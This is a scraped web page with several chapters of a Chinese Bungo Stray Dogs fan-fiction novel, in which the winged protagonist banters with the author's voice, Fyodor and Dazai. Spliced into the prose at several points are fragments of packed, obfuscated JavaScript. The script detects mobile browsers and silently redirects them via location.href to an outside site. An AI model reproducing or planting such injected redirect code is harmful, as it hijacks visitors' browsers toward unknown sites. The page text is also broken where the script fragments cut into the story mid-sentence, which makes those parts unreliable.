d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15232314|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住几百几千光年外一颗闪耀的星。 但夏章雾没有握紧手。 他只是在微微地笑着,像是已经感到满足了似的,然后放下手,往下方飞去。 “唯一遗憾的,大概就是春季的银河被隐藏在地平线的边缘,没有办法被看到吧。” 他背过群星向下飞行,对作者笑着说: “不过呢,这个样子说不定也很好——如果真的能看到一条拱形的银河,说不定我就要在头晕转向之下忘记要怎么飞了。” “喂,真没用啊,主角先生。” 作者的吐槽依旧那么煞风景。 “我建议你好好练习怎么飞,否则……” 它稍微停顿了一下,像是用最后的时间瞥了一眼外面的星星:“我们今年夏季就没法上来看银河了。” 横亘在整个天空上的银河。 夏季最绚烂的景色。 夏章雾愣了一下,随后笑了起来。 “也是。”他说,“要是看到银河就会眩晕的话,今年夏天的仙后座流星雨也看不到了。话说回来,今年流星雨的规模怎么样?” “当然会很大。”虚空中的声音理所当然般地这么回答,“毕竟,我也想看在平流层看一场漂亮又盛大的流星雨啊——” 他们往下飞去。群星的光辉仿佛在追逐着人类展开的翅膀。 他们穿过平流层与对流层的界限,他们穿过厚重的云,他们重新回到了人类城市的方向。 四面八方的风朝着他们再次涌来。 那些小东西纷纷地拥挤在夏章雾的身边,笑嘻嘻地去弄乱他的头发和背后的羽毛,发出人听不懂的快活尖叫。 “走走走,别烦我。” 夏章雾对这些风抱怨了一句,张开翅膀飞过这座分布着璀璨灯光的城市,同时低头扫视着这座城市的街道。 也不知道是想到了什么,他的脸上突然浮现出了恶作剧般的笑容。 “我有一个想法。”他说。 “你该不会要惹什么麻烦吧?” 作者很有经验地说。 “怎么会呢?你把我当成什么人了。” 夏章雾咳嗽一声:“我就是想问你,那个费xxx住在哪儿?当然,能指路就更好了。” “……你要干嘛?” “我打算飞到他住的地方。如果他的房间不是在一楼的话,我就去敲他的窗户。” 夏章雾摸了摸下巴,突然感觉想出这个方案的自己简直有着惊世智慧:“这样他就会想到底是谁敲他的窗,又到底是怎么做到的,然后失眠一整夜。怎么样,这个计划是不是非常好?” 作者没有回答。 它大概也被这种惊世智慧深深地震撼了吧。 “作者?” 于是夏章雾又喊了声。现在可不是震撼的时候,他还等着对方指路呢。 “他住的地方离你不远。就是那个旅馆附近的另一家,他住在三楼最左边的房间。” 作者的声音终于响了起来,就是不知为何地显得有点有气无力:“真是搞不懂你们小情侣之前的把戏。可恶,单身狗也是人……” 夏章雾缓缓打出一个问号。 他感觉作者像是刚吃了没熟的菌子,开始说胡话了。 但他也没在意,直接心情愉快地朝着自己的目标飞了过去。在这个过程中,他还和城市夜空中飞行的几只小猫头鹰打了个招呼。 十分钟后,夏章雾就看到了自己的目标。 那里三楼最左边房间的灯还是亮的。 但事情依旧有点麻烦。 ——因为那位俄罗斯侦探此刻不在房间里。 夏章雾可以清晰地看到,对方正在这座旅馆的天台上面,低头看着街道上面寥寥无几的车流,也不知道正思考些什么。 好吧,那就只能计划变更了。 夏章雾咂了咂嘴。他尽可能地让自己身后的翅膀在划过空气时无声无息,轻巧地绕了一个圈,直接来到了对方的身后。 接下来就很简单了。 翅膀一扇,夏章雾直接嚣张地怪笑着就扑了过去,想要趁人猝不及防,用那对翅膀把对方的眼睛给捂了个严严实实。 “嘿嘿嘿,猜猜我是——” 站在天台上的费奥多尔·陀思妥耶夫斯基先生似乎又叹了口气。 他非常熟练、且好像早有预料般地向左滑步躲开,随后转身,用手拉住因扑了个空而重心不稳的夏某人,拽到自己怀里。 四目相对。 一种强烈的、肉眼可见的尴尬弥漫开来。 夏章雾先生默默地在身后合拢了自己刚刚紧紧抱着对方的翅膀,轻微地咳嗽一声,想说点什么,但憋了半天也没有憋出来什么话题。 总不能说“哈哈我就是过来吓吓你,结果你好像没有被吓到啊哈哈哈”吧? 事已至此,那就只能…… “那个什么。” 夏章雾很是虚弱地说:“我说我不是男同,你信吗?” “咳。”费奥多尔似乎笑了一声,“我信。” 话虽如此,但拽着夏章雾的手却依旧没松开的意思。 夏章雾的眼神完全死了。 好好好,还能这么玩?现在的情况算什么? ——我不是男同,但你是? “我没想到现在会见到您。” 似乎发现了夏章雾那仿佛正在从任人宰割的咸鱼变成任人宰割的死鱼的绝望眼神,费奥多尔突然开口。 他歪头注视着对方身后那对紧张地合拢的翅膀——上面生长着雪白的覆羽和漆黑的飞羽,看上去如同鹳鸟的羽毛——然后微微一笑。 “但不管怎样。” 他说:“天使先生,晚上好。” 30.哈人,我先润了 十二点的钟声已经敲响了。 夏章雾抬头看了眼房间里的时钟,然后继续沉思。 他正在思考一件事,而且是非常严肃的事: ——为什么都十二点了,他不是在自己的旅馆房间里好好睡觉,而是待在费奥多尔的房间里,用一条蛇来玩翻花绳? “这里面一定有什么地方不对劲。” 他盯着手里那条尝试装死的蛇,对画外音这么说。 “所以翻花绳好玩吗?” 然而画外音对此没有任何安慰的意思,它声音听上去笑嘻嘻也贱兮兮的,尤其是在最后一个称呼上面加暧昧地重了音: “天使先生?” “都说了,不要学着那家伙骂人!” 夏章雾没好气地说。他两只手一翻,成功把手里红色的蛇给翻出了五角星的形状。 那条蛇正绝望地咬着自己的尾巴,把自己当成一个上好的绳圈,任由面前的人类把它当成玩具随随便便地摆弄。 “什么天使啊。要不是蝙蝠翅膀的影响不太好,我才不会选鸟类的翅膀呢。” 夏章雾怨念地嘟哝着,把手中的五角星蛇重新复原成最初的绳圈状态,用拇指和食指捏住,交替翻转,很快就把蛇翻成了雪花形。 “因为像吸血鬼?” 画外音问。 “没错,伦敦那边的人似乎是有点吸血鬼过敏综合征,看到吸血鬼就有种想要歇斯底里地把它们全剿灭的冲动。” 夏章雾叹了口气,他继续百无聊赖地和画外音用某个非洲小部落的语言聊着天,同时很随意地摆弄着蛇:“我可不想变成钟塔侍从的小秘密之一。昆虫的鳞翅和膜翅又太女性化……这个技能怎么就不能来个机械翼或者光翼展开呢?” 夏章雾叹了口气,戳戳蛇。 “喂,你的长度就不能更长点吗?我想编个蜗牛。”他说。 “再长的话,粗细就当不了绳子了……” 蛇松开咬着尾巴的嘴,虚弱地开口。 结果因为暂时脱离了绳圈状态,它在夏章雾的两手之间一不小心就散了架,直接像条死蛇一样地滑落下来,硬邦邦地躺在了地板上。 看上去仿佛是死了个彻底。 “死了?” 夏章雾严肃地盯了几秒,然后转头问作者。 “咳咳,没死,当然没死!” 作者似乎被什么东西呛到了:“那都是第九章的事情了,你还真是记仇。” “胡说。” 夏章雾戳了戳蛇,义正辞严地回答:“我只是觉得用蛇玩翻花绳很有趣而已。不过都到这种程度了,这家伙连人都不敢咬,还真是没用。” 画外音陷入了微妙的沉默。 你这是钓鱼执法吧?一定是吧? 它看了眼蛇:随着手指的戳动,某条蛇似乎死得更加彻底了。 好在夏章雾戳了两三下就觉得无聊了,转而打开怀里的笔记本,打算看看读者们最近又整了什么新活。 今天爱丽丝还在坚持不懈地讲以他为主角的笑话……话说今天的内容是不是有点恶心?讲他的笑话就算了,为什么还要把某个俄罗斯混蛋也加入进来啊! 夏章雾用死鱼眼看着笔记本,果断地翻开下一页:或许是因为他不久前持续性地扣了“1”,这页的读者基本都在聊他之前问读者的问题。 首先看到的就是那位今天难得没有进行废话的废话压缩包——啊不,是情报商读者。 「暮川夜: ……在《文豪野犬》中,太宰治、坂口安吾和织田作之助曾同在港口黑手党,是好友。织田作之助为保护孤儿决心复仇,与 Mimic 首领同归于尽。他的死促使太宰治脱离黑手党,安吾在异能特务科工作,曾帮太宰治抹消罪行,还充当其“接应”。……」 然后是眼熟的观众小姐: 「Audience: 啊呀……无赖派的故事吗……祭典结束之后……就一片寂静……空空的……呢。 没有对错,只是立场,安吾站在他的立场哪怕迈出一步也无法拉住织田作的下坠。太宰站在自己的"线"内,珍视紫色眼睛的同时没有拉住红色的火焰。织田作……他就是这场悲剧的主角,是被撕毁的美好啊。」 夏章雾陷入思考,然后大为震撼。 “怎么是刀啊!” 他一脸懵圈地抬头,顺便把自己的语言切换成了中文:“我还以为这部作品是传统王道热血展开,但你们那个世界的热血漫难道分类是属于致郁番吗?漫画的意义难道不是弥补现实的遗憾吗,这种致敬是什么情况?” 身处于2006年的非二次元主角先生,今天也依旧无法理解为什么三次元世界的热血漫会出现这种听起来就相当惨烈的剧情。 作者咳嗽了一声。 “怎么能说是致郁番呢?” 它颇为心虚地说:“我们那个世界的热血漫只是变成了抛头颅洒热血的热血漫了而已。” “我收回前言。” 夏章雾凝重地看了这几篇评论:“我决定从现在开始同情你们那个世界的二次元了。怪不得你这么扑街还坚持写同人,想必已经被原著给刀得神志不清了。” 画外音:“……” 画外音:“我特么谢谢你啊。” 翻到下一页。 这一页的读者倒是在很欢快地为他刚刚得到的能力建言献策,并在起各种稀奇古怪、乱七八糟的称呼。 从鸟人到天使到天狗,还有读者在兴致勃勃地表示他可以把不同生物的技能拼着用,或者直接拼出一条龙出来。 ……你们当这是拼乐高呢? 不过,似乎,确实有那么一点可—— “没有可行性!” 画外音警惕地开口:“临时更新补充条款:一次只能使用一种能力,多了不行!” “等等,这是洗白弱三分吧?人间失格也没有这个限制啊,怎么到我身上就这样了!” “错,这是‘一切解释权归作者所有’。有本事你跨次元壁来找我啊?” “你以为我没法和你爆了?审核,审核你在哪?这里有主角想要把这本书举报了!” “喂,你给我闭嘴!别真把审核引进来!” “我就要——咦?” 夏章雾突然停下抬头望向了门口。 “哟,大侦探要回来了。” 他说。 “你能看得出来?” 画外音也停下了吵架,好奇地问。 “他的脚步声很有特点的。” 夏章雾随口说着:“间隔整齐得像有强迫症。话说回来,他真的不是什么……” 说到这里的时候,夏章雾停顿了一下。 “机器人之类的?”他说,“我觉得他总是在喝的那个酒精咖啡,其实味道也不比机油要好到哪里去。” “勒托先生,我觉得它的味道应该是比机油好一点的。” 房门打开。拎着一塑料袋罐头的俄罗斯人说了这么一句话,然后走了进来,把手中提着的袋子放在了茶几上。 夏章雾好奇地看了看,为里面的冰镇可乐欢呼了一声,拿着它躺在沙发上,很是心满意足地扯开拉环喝了起来。 “是吗?”他说,“但我觉得不如可乐。还有一件事——你的蛇好像有点死了。真奇怪,会说话的蛇也会应激吗?我都没对它做什么。” 费奥多尔坐在夏章雾的身边,低头看了眼地板上面僵死的蛇,很是熟练地把它直接揣回了口袋里面。 “毕竟它的性格很害羞。” 这位侦探的语气听上去就像是面前的一幕是什么正常现象:“只能习惯了。” 夏章雾简简单单地“哦”了声,把刚刚吨吨吨了一半的可乐罐子放下,在塑料袋里重新扒拉起了罐头。 厚蛋烧罐头,关东煮罐头,烤鸡肉串罐头,蒲烧秋刀鱼罐头,方便面罐头,同时还有整整一打的蟹肉罐头——这是夏章雾拜托费奥多尔帮自己顺便买回来的。 他准备用这东西威胁太宰治,或者在用这个逗完太宰治后一口气全部吃光。 当然,还有一些莫名其妙的罐头。 “超辣咖喱罐头?” 夏章雾拿出这个罐头,有些莫名其妙:“你还喜欢这种口味啊?而且也没有饭来配……” “是买了十几个罐头后,便利店送的。” 费奥多尔打开方便面罐头,随口说着:“但实际情况应该是味道太辣了,根本卖不出去。” 卖不出去啊,怪不得。 夏章雾了然地点点头,随后就把超辣咖喱放在了一边,转而尝试去打开厚蛋烧罐头了。 鉴于他们两个都不是日本人,所以自然谁都没有说“我要开动了”的习惯,而是互不打扰地吃起了夜宵。 夏章雾一边吃饭,一边用手机看着上面弹出来的消息。 他首先熟练地给太宰治回复了一个“明天就离开青森,到时候我来找你”的短信。 然后他又简简单单地用“接下来去秋田,实验室的孩子有一部分就来自于那里的孤儿院。明天出发得很早,早点睡”打发了还在熬夜的坂口安吾。 最后,他长篇大论地和把他莫名当成知心老师的石坂洋次郎用邮件聊起了天,期间的话题从人类古老的同态复仇传统一路来到了当今各个国家的教育问题。 夏章雾打字打得汗流浃背,发出一段内容后快速地吃了口厚蛋烧压压惊。 “日本的未成年都是眼瞎了吗?” 他咽下一口厚蛋烧,沉重地对作者说:“我来到青森后看到的三个未成年,感觉没有一个对我有着正确的认知,真是让人心痛。” “是你太难伺候了才对。” 作者一针见血地说:“把你当成好人你就不自在,把你当成坏人你就不高兴。什么时候你能调整好心态啊,逃避型人格死傲娇。” 夏章雾:“……” 夏章雾默默地咽了口厚蛋烧,默默地放弃了继续和作者说话的想法。 世界,终于安静了。 而在这种安静到甚至有点和谐的气氛里,蛇悄悄地从口袋里探了出来。 结果刚冒出一个脑袋,费奥多尔就很熟练地用超辣咖喱罐头堵住了它的嘴。而夏章雾则是咬着筷子,大为感叹地看着这条蛇被辣得满房间乱窜。 “竟然还会飞啊。” 他说,看着被辣得飞起来的蛇。 “会的。”费奥多尔抬头认真回答。 “原来还会喷火啊。” 夏章雾继续说,看着被辣得喷火苗的蛇。 “会的。”费奥多尔想了想,“还会钻火圈。” “哇哦。”夏章雾很惊叹,“这么厉害?” 蛇不知为何地突然从空中摔了下来。 “下次要来看吗?”费奥多尔提议道。 “听起来就像是‘我家猫会后空翻,你要过来看看吗’级别的邀约。”画外音实事求是地评价,“你要是这就答应,未免太也好骗了。” 夏章雾当然也没答应。 他只是端着厚蛋烧罐头,十分严肃地看着面前的人。 “你在半个小时前还骂了我。” 他严厉地指责道。 费奥多尔歪了下脑袋。 “我只是在描述客观事实。” 他说,酒红色的眼睛深处似乎多了几分促狭的笑意:“您确实是天使。” ……见到长着翅膀的鸟人就喊天使,你这天使的标准未免也太宽泛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这种淡然的态度很难不让人升起一种挫败感。就像是你拼尽全力地说了个笑话后,看到对方只是保持着礼貌的微笑,对你说:“您分享的知识真有趣”。 尤其是那句“从您口中说出来的时候”。 ——你、真、的、不、觉、得、这句话有什么问题吗? 然而费奥多尔说完这句话后,似乎就当这个话题结束了,提着装着垃圾的塑料袋,起身往门口走了过去。 就在手放上门柄时,他突然微笑着说: “勒托先生。” “怎么了?” 夏章雾幽幽地说,继续执着地盯他,指望着这家伙能够意识到自己的错误。 “您或许自己都没意识到,其实您身上矛盾的特质总是能够吸引好奇的人。您是先知,您是被拣选者,您是注定与非人战斗的人类。不过,您其实也并不是那么‘人类’。” 俄罗斯人的笑声很轻。 他微微侧过头,看向房间中的夏章雾。 他说:“而太宰治,是一个很好奇的孩子。” “所以从始至终,我都没有和他做出任何约定,只是告诉了他一件事。” 费奥多尔推开门,提着垃圾袋走出去,只有他轻飘飘的、带笑的声音依旧回荡在空气里。 “像您这样的人,或许他再过几百年都不会见到一个。而您——又恰巧是一个非常擅长逃跑和自我欺骗的人。” 大门在“吱呀”一声中关闭。 房间里只剩下了一个人。 夏章雾望着空荡荡的房间。 夏章雾陷入了沉默。 “我突然有了一种不太好的预感。” 他很是谨慎地开口:“他那个语气,怎么有一种我是在始乱终弃的感觉?” “你终于有不好的预感啦?” 画外音很欣慰:“所以你现在说这话,难道是终于不打算逃避了?” “呃,这倒没有。” 夏章雾尴尬一笑:“我打算趁他没回来,翻窗从三楼飞出去。” 画外音:“?” 夏章雾倒也没管拼命敲问号的作者。 毕竟现在的时间相当紧急。他在房间里找了一圈,很快就找到了纸笔,苦思冥想了几秒,这才勉勉强强地写下了一条简短的留言: 「我有事先回旅馆了。如果不急着回去,能和我一起把在日本剩下的事情解决吗?明天我在机场等你,我下一站打算去秋田。」 “这语气是不是有点太客气了?” 夏章雾满脸纠结地看了好几遍,对作者说。 还没有等到对方回答,他就兀自下了决心,在下方写下了一行字,以此来尽可能地让自己的语气恶狠狠一点: 「附:既然如此,那太宰治的事情你也要负责任,别想着把那孩子丢给我就跑路!都说了,我根本就不会带小孩!」 不不不,这个感觉也不太行。 总感觉还有些什么地方不对劲的夏章雾使劲地抓了抓自己的头发,绝望地吸了口气,干脆把前面的内容全都涂掉,转而在留言的最后面写下了自己的电话号码。 外面响起了有规律的细微脚步声。 辨认出这声音来自谁的夏章雾瞬间大惊失色,飞快地丢下纸笔,冲去窗前,一把将窗户拽了开来。 就在跳出去的那一瞬间,他终于听到了来自作者那恨铁不成钢的声音: “早知道你拿飞行技能就是干这个。” 它的语气非常郁闷:“谁特么会让你飞啊!” 31.一切都是命运石之门的选择 五月,北海道。 “我!受不了啦!” 夏章雾悲愤的声音传来:“都说了我完全不知道该怎么带小孩!费列罗,费奥利奥,救一下啊!这崽子是被你忽悠来的,你要负责!” 费奥多尔侦探坐在长廊上,安心地喝着伏特加与咖啡一比一调配成的饮品,好整以暇地看着庭院中被太宰治追得到处乱跑的夏章雾。 “是费奥多尔·米哈伊洛维奇·陀思妥耶夫斯基。”他不紧不慢地说。 “勒托先生——” 太宰治拉长声音喊着:“孤儿院的大家都很想见你的!你要是不来,就有人要哭了!” 夏章雾越来越远的惊慌声音传来:“不不,你们这些动不动就会哭的小孩子都离我远一点!我又不是什么好人,干嘛老粘着我!” “真热闹。” 费奥多尔泰然自若地说。 坐在费奥多尔身边的坂口安吾正在擦眼镜,闻言发自内心地点点头。 “确实。”他说,“勒托先生和太宰凑到一起就是很热闹。” 有时连热闹都很难形容,更准确的说法应该是鸡飞狗跳。虽然也很难说明他们两个当中到底哪个是鸡,哪个是狗。 但在这方面,坂口安吾还是很感谢某个人的伟大付出。毕竟如果没有对方吸引太宰治的注意力,太宰治就要盯上他了。 “安吾!” 追不上夏章雾的太宰治干脆又一溜烟地跑到了走廊上,无比熟练地无视了喝咖啡的大人,眼睛亮晶晶地看向坂口安吾。 “来吗来吗?如果安吾过来一起哭的话,大叔他肯定会直接被吓得眼前一黑,然后乖乖地被我们两个拖回去的!”他兴致勃勃地怂恿道,“大家可都在等着他呢!” 坂口安吾:“……” 不要啊! 他都十五岁了,再哭真的很丢脸欸! 事实证明,就算是被某个人吸引了注意,太宰治也会锲而不舍地找上他的。 费奥多尔看着被太宰治连拖带拽地拉走的坂口安吾,从喉咙里发出一声轻轻的笑,抬头看着外面的湛蓝天空。 五月份的北海道有着灿烂的阳光。 这里是他们在日本的最后一站,也是他们最后来到的孤儿院。根据江户川蓝峰给出的资料,他们最终带着那些孩子的骨灰来到了这里,让他们能安葬在故乡的土地上。 而到今天,所有的事情都要结束了。 只剩最后一场葬礼,他们便可以离开日本,结束这一次短暂的旅行。 费奥多尔看着夏章雾被满脸坏笑的太宰治和满脸不情愿的坂口安吾又重新给拽了回来,酒红色的眼睛弯了弯。 “我刚刚……就该飞到天上去……” 被一路拖过来的夏章雾完全就是一副出气多进气少的样子:“上帝啊,这个世界未免也太残忍了。” 太宰治没管他。他跑到院子外面,很大声地喊了句什么,于是一窝孩子突然从各个角落探出了脑袋,纷纷发出欢呼声,一拥而上地把上气不接下气的夏章雾先生给彻底淹没。 “你们这些不懂礼貌的未成年离我远点!可恶啊,你们这是在制作沙丁鱼罐头吗?我要被挤死了——还有刚刚是哪个小混蛋亲的我,鸡皮疙瘩都要起来了好吗?” “嘿嘿嘿,是我啦!” 一个小女孩的声音传来。 孩子们叽叽喳喳,笑嘻嘻地围着夏章雾,没一个人害怕,俨然把他当成了孩子王。夏章雾想跑但完全跑不掉,滑稽的场面就像是沙丁鱼群团团包围了一只大白鲨。 最后还是孤儿院的老师跑到这里,才把这位倒霉的人类学教授拯救了出来,在他感激的目光下连带着把太宰治和坂口安吾都带走了。 费奥多尔又喝了口咖啡,看着对方逃命般地爬到走廊上,很是自然地从拿了杯冰镇可乐递过去。 对方也不客气,直接仰头一口气喝了大半,然后便有气无力地直接瘫在了地板上。 “我讨厌未成年。”他哼哼唧唧地说。 “您以前还说很爱他们。” 费奥多尔低头看着他,笑着回答。 “讨厌和爱是并行不悖的。” 夏章雾翻了个身,这么说。 不过没过几秒,他的语气就又重新变得志得意满:“哼哼,好在我找到了成功制服太宰治的方法。他也就只能嚣张一会儿了。” 费奥多尔看着得意洋洋起来的夏章雾,酒红色的眼睛眨了眨。 “是吗?我还以为只要太宰那孩子哭起来,您都会主动投降呢。”他实事求是地说。 事实上,对方类似的这种说法他在这趟旅途过程中已经听到整整五次了,基本每一次的结局都是以这样的场面作为结束。 “……这次不一样!” 夏章雾沉默了片刻,但还是倔强地开了口:“我这次可是利用预言,精心考虑后做出的万无一失级别的计划!没有失败的可能!” 这种话费奥多尔也听过整整三遍了。 夏章雾第一次说这句话的后果,就是他拿出了整整一打的蟹肉罐头来哄太宰治:就是为了让这个小崽子装哭的时间能短一点。 “总之你不用担心!” 人类学教授一个咸鱼打挺就跳了起来:“我可是雇佣了专门人士!” 费奥多尔重复了一遍:“专门人士?” “哈哈,其实是杀手啦。” 夏章雾抓抓头发,表情有点不好意思:“不过是刚刚退休的杀手,似乎正考虑转职的事情。我在网上问了问他对于当保姆怎么看,然后他表示自己可以干。” 说完后,他似乎短暂地纠结了一下: “你怎么看的?” 俄罗斯人默默地放下咖啡,他明白夏章雾的意思了。 “我付钱。”他说。 夏章雾猛地松了一口气,脸上的表情重新变得快活起来。 “那位前杀手先生今天就能到北海道,我去看看他有没有找对地方,就先走一步了!” 说完,他就一溜烟地消失了。 于是,这次彻底没有人打扰了的费奥多尔继续喝自己那杯难以判断是伏特加还是咖啡的混合液体,抬头望着天空。 日本红枫在春末呈现出火一般的红色,没有云的天空一片澄明。不得不说,这座岛国北部五月份的风景,与欧亚大陆真正的北方所享有的五月有着很大的不同。 在五月份已经逐渐柔和起来的风里,一只有着黑白羽毛的“鸟”掠过青空。 “别忘了在葬礼开始前回来。” 费奥多尔放下杯子,抬声说。 “放心——” 遥远的笑声传来:“这种东西又没有你名字复杂,我才不会忘掉!” 黑白色的鹳鸟飞走了。 …… “红头发的,红头发的。没看到啊。” 夏章雾耐心地找了一遍,但还是没有看到那位杀手的身影,于是在天空中又盘旋一圈后便随意地找了棵树,坐在一根足够粗的树枝上。 “就在这里等等好了。希望那位前杀手先生能够管得住太宰治。” 他嘟哝着说,打开笔记本看了几眼:“没法管也行,但看在读者说他和太宰治有特殊羁绊的份上,转移一下注意力也是好的啊。那小崽子一天二十四个小时,至少有八个小时都在追我未免也太过夸张……” 明天他就要坐飞机回伦敦。 也就是说,如果太宰治的问题现在不解决,他就要面对“某知名侦探因看到自己邻居被小孩子追得满街乱爬而狂笑不止,送进医院,其闲得没事干的同事纷纷来到其居所附近看热闹”之类的可怕场面了。 想到这里,夏章雾的目光逐渐坚毅起来。 这次,他绝对要找到解决方案! 如果和平的手段做不到,那他也就只能尝试最后的终极手段:让织田作之助先生学习他妈,把太宰治吊在树上用鸡毛掸子打屁股了。 “咳咳咳咳!”画外音似乎被水呛住了,“织田作之助知道他的保姆工作是这样的吗?” “当然说了!合同上写得超级清楚!” 夏章雾理直气壮地说:“打小孩子屁股又打不死人,完全没有拒绝的理由吧!毕竟我给他开的工资那么高,还是包吃包住的长期工!” 画外音陷入了沉默,然后深深地叹了口气。 “遇到你,真是他们四个人的福气。” 它幽幽地说。 夏章雾在树枝上换了个姿势,随意地翻动着笔记本:或许是因为作者跳了点时间线,这一个月来的本子没有出现任何新评论,他也只能重新看一遍之前读者的留评。 好久没看到爱丽丝的新笑话了,还挺怀念。 「桉莉斯: 大脑有自己的想法(震声)你不要光盯笑话啦,看我这个最强猎头给了你多少人物信息!快给我道谢啊快道谢!明明叫账务却连劳务费丢掏不出来,甚至连谢谢都不说。真是的,我只能自己来拿了,这些笑话是利息啊利息——」 好吧,突然不太想念了。 “加上暮川夜,就你俩问我要劳务费是吧?” 夏章雾虚起眼睛:“要不我抢费列罗侦探的钱来养你们?” 至于他自己?别问,问就是没钱。 翻到下一页。 「飘然如烟: 真正的直男堂堂正正黏黏糊糊,心里有鬼的人才急急忙忙跑路。可能现在还不是,但你显然意识到他了对吧?」 画外音乐了。 “请问夏先生对此有什么看法?”它问。 夏章雾咳嗽了一声。 “这话就不合理。”他说,“跑路难道不是很正常?你见到费奥……呃,反正就是那个俄罗斯人难道不会跑路?” 他随便往上一指,赫然就是爱丽丝的评论: 「桉莉斯: 热血漫和致郁番是同义词哦,在现在这个日本的漫画一一顺带一提,你那个同伴在原著算最大 BOSS 。」 “看到没,他是原著BOSS耶!反派耶!” 夏章雾言之凿凿:“来到二次元后,看到这种笑眯眯反派能不跑的都是神人了。所以我跑掉才不是因为什么感情债心虚——不对,我根本就没有感情债,咳咳咳!” 他往下看,突然被呛住了。 「好心的斯巴拉西希望饭团: 被费佳抓住█死在床上吗,笑。” 夏章雾:“……” “天杀的。” 他说,声音里带着莫名的咬牙切齿:“虽然已经不是第一次看到了,但作者我还是要用这本书里有涩情内容举报你!” “什么,你想参演涩情内容!” 作者倒吸一口凉气,突然兴奋起来:“快让我看看,我保证不发出来给读者看的!” “闭嘴,你这满脑子都是黄色废料的家伙!无聊的话就给我写点正经剧情去!” 针对“本子?哪里有本子”的话题,主角和作者的搏斗只持续了十分钟:主要原因在于无法用物理手段解决问题,让两者很快就感到了无聊,遂偃旗息鼓,气氛重新“和谐”起来。 作者还播了首歌当背景乐。 就是它之前一直在哼唱的那首。不得不说,原唱要比作者自己哼的好听得多。 “所以它的名字叫什么?” 夏章雾第二次问了这个问题。 “「与天同行的观测者」,我非常喜欢的游戏op。” 这次作者用轻快的语气给出了回答:“游戏名字是命运石之门,大概还有两年你就可以玩到了吧。” “还有三年?我一直很好奇,你们那里是什么年代?有的读者似乎比我小整整一辈啊。” 很随意地闲聊着,夏章雾抬头看着澄澈的天空,耳边那首歌很是独特的乐器音色在耳边回荡——是电子音吗? “远离了过去,就能接近未来吗? 观测者总有一天,会发现矛盾。” 伊藤香奈子的声音在音乐中回荡着,人声连同乐器的声音荡漾开来,在虚无当中形成了遥远而缥缈的、自己重复自己的回音。 “神所制造出来的世界, 是完美无缺,绝对的「均衡」。” “二零二五,也不算远啦。想知道未来的十几年到底都发生了什么吗?”作者说。 “发生了什么,经济危机还是世界大战?” “零八年倒是确实有一场经济危机。” “挺好,我明年就去劝柯南·道尔买股票。” “预言可不是用来让你干这个的!” 作者发出没好气的声音:“不过……” 背景中,歌声按部就班地流淌下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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夏章雾突然从树上跳下来,潇洒地拍拍衣服,抬头向天空大声喊道:“我们可是世界上最酷炫的拯救世界组合!对吧对吧?你们也是这么觉得吧?” 没有声音传来。 但夏章雾觉得自己已经得到了想要的回答。 “总之不和你聊了,我得先回去咯。” 还有很多事情要忙的成年人耸耸肩,心情突然轻松且愉快起来:“等会儿还要参加葬礼呢,希望太宰治那小子别继续折腾我。再这样下去,我迟早神经衰弱……” “嗯哼,养孩子确实挺麻烦。” 作者说。 “是啊,所以我感觉某个俄罗斯的混蛋也多少要对目前的情况负点责任。至少,嗯,他得帮我照顾一下太宰治吧?” 夏章雾转过身,朝孤儿院的方向走去。然而他还没有走几步,就看到前面不远处站着一个表情不知该说认真还是走神的红发少年。 坂口安吾也在。 他脸上表情大致介于“真的好想笑”“但还是要忍着”两者之间的状态,但在场的是个人都能看得出来,他心里已经笑得满地打滚了。 至于这一切的原因…… 大概在于红发少年的手中提溜着一只看上去表情相当生无可恋的、被五花大绑的太宰治吧。 红发的年轻人看到他走过来后便轻微地歪了下头,然后又看了眼手中打印的照片。 “请问,你是雇主吗?”他问,随后指了指太宰治的方向,“我已经完成任务,把任务目标给绑起来了。” “放开我啦——” 他的任务对象像个大型蚕蛹一样地蛄蛹着,开始向大人告状:“大叔你快说句话啊!这次我真的没想做什么,是费佳让我来找你回去参加葬礼的!” 坂口安吾连忙咳嗽了几声,举起手:“这个我可以作证,是真的。” 夏章雾:“……” 呦呵,真热闹。 “所以,是绑的时间不对吗?” 红发少年想了想,然后向太宰治道歉:“对不起,我第一次从事这种工作,没什么经验。下次会努力在正确的时间绑住你的。” 太宰治苦大仇深地看着他,声音更大了: “我才不是这个意思,笨蛋!而且就算道歉我也不会原谅你的!” “其实太宰这么绑着也很好啦。” 坂口安吾也表示了赞同:“看到太宰的这副表情真是难得……噗。” 他终于忍不住了,一下子就笑出了声。 夏章雾默默地绕过这三个人,在经过织田作之助的同时,还欣慰地拍了拍他的肩膀。 “加油。”他语重心长地说,“回头我把剩下来的辣咖喱罐头送给你。多绑会儿,等会儿葬礼过程中也别让他偷溜进棺材里面。” 夏章雾心情更加愉快地向孤儿院走去。 所谓命运中注定啊。 虽然是先知,但他可不在乎这个。 在古希腊式的故事里,预言总在自我实现,命运总是无可阻挡,无数可能性都会被收束成一条,无数种发展都会导向一个必然的悲剧。 但作为先知,夏章雾觉得预言如果就算是真的存在着必然性,他也可以用在一些更加和谐美满的东西上。 比如,预言并实现命中注定的相逢? “希望他们三个能好好相处吧。” 他对画外音轻松地说:“不过总觉得这种事情并不需要我来担心——” “勒托先生?” 费奥多尔的声音响起。 俄罗斯人从日本枫火红的叶下走出:“葬礼要开始了。我之前让太宰治来,但他……看来是被您聘请的专业人士逮到了?” 